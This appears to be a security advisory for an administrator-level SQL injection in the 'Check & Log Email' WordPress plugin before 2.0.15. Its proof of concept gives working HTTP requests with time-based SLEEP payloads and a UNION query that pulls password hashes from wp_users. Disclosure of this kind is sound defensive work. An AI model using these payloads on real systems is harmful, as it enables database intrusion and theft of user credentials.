Check & Log Email < 2.0.15 – Admin+ SQL Injection via d and s Parameters | CVE 2026-14554

Description

The plugin does not properly sanitize and escape parameters before using them in SQL queries, allowing users with administrator privileges to perform SQL injection attacks.

Proof of Concept

Prerequisite: authenticated session of a user with `manage_check_email` (Administrator). At least one logged email must exist so the WHERE/count predicates are evaluated.

### 1) Blind time-based via the `d` (date) parameter

```http
GET /wp-admin/admin.php?page=check-email-logs&d=x'%20AND%20SLEEP(3)--%20- HTTP/1.1
Host: victim.example
Cookie: wordpress_logged_in_...=<admin session>
```

Resulting query (logged):
`SELECT * FROM wp_check_email_log WHERE sent_date BETWEEN 'x' AND SLEEP(3)-- - 00:00:00' AND '...'`

Observed: response delayed ~3s per evaluated row (e.g. 30s with 5 rows across the count + items queries) versus ~0.8s for the `SLEEP(0)` control.

### 2) Blind time-based via the `s` (advanced search) parameter

```http
GET /wp-admin/admin.php?page=check-email-logs&s=id%3A1'and(SLEEP(3))and'1'%3D'1 HTTP/1.1
Host: victim.example
Cookie: wordpress_logged_in_...=<admin session>
```

Resulting query: `... WHERE id = '1'and(SLEEP(3))and'1'='1'`
Observed: ~6s versus ~0.04s for the `SLEEP(0)` control.

### 3) UNION-based extraction of password hashes (impact proof) via `d`

```http
GET /wp-admin/admin.php?page=check-email-logs&d=x'%20AND%20'y'%20UNION%20SELECT%201%2Cuser_pass%2Cuser_login%2C4%2C5%2C6%2C7%2C8%2C'2024-01-01%2000%3A00%3A00'%2C10%2C11%2C''%2C13%2C14%20FROM%20wp_users--%20- HTTP/1.1
Host: victim.example
Cookie: wordpress_logged_in_...=<admin session>
```

Decoded `d` value:
`x' AND 'y' UNION SELECT 1,user_pass,user_login,4,5,6,7,8,'2024-01-01 00:00:00',10,11,'',13,14 FROM wp_users-- -`

### Expected Response (proves impact)
The Administrator password hash from `wp_users` is rendered in the "To" column of the Email Log table, e.g.:

```
$P$Bpnr2NR/U/hDUfqIqUg0WeQIkFpBvx.
```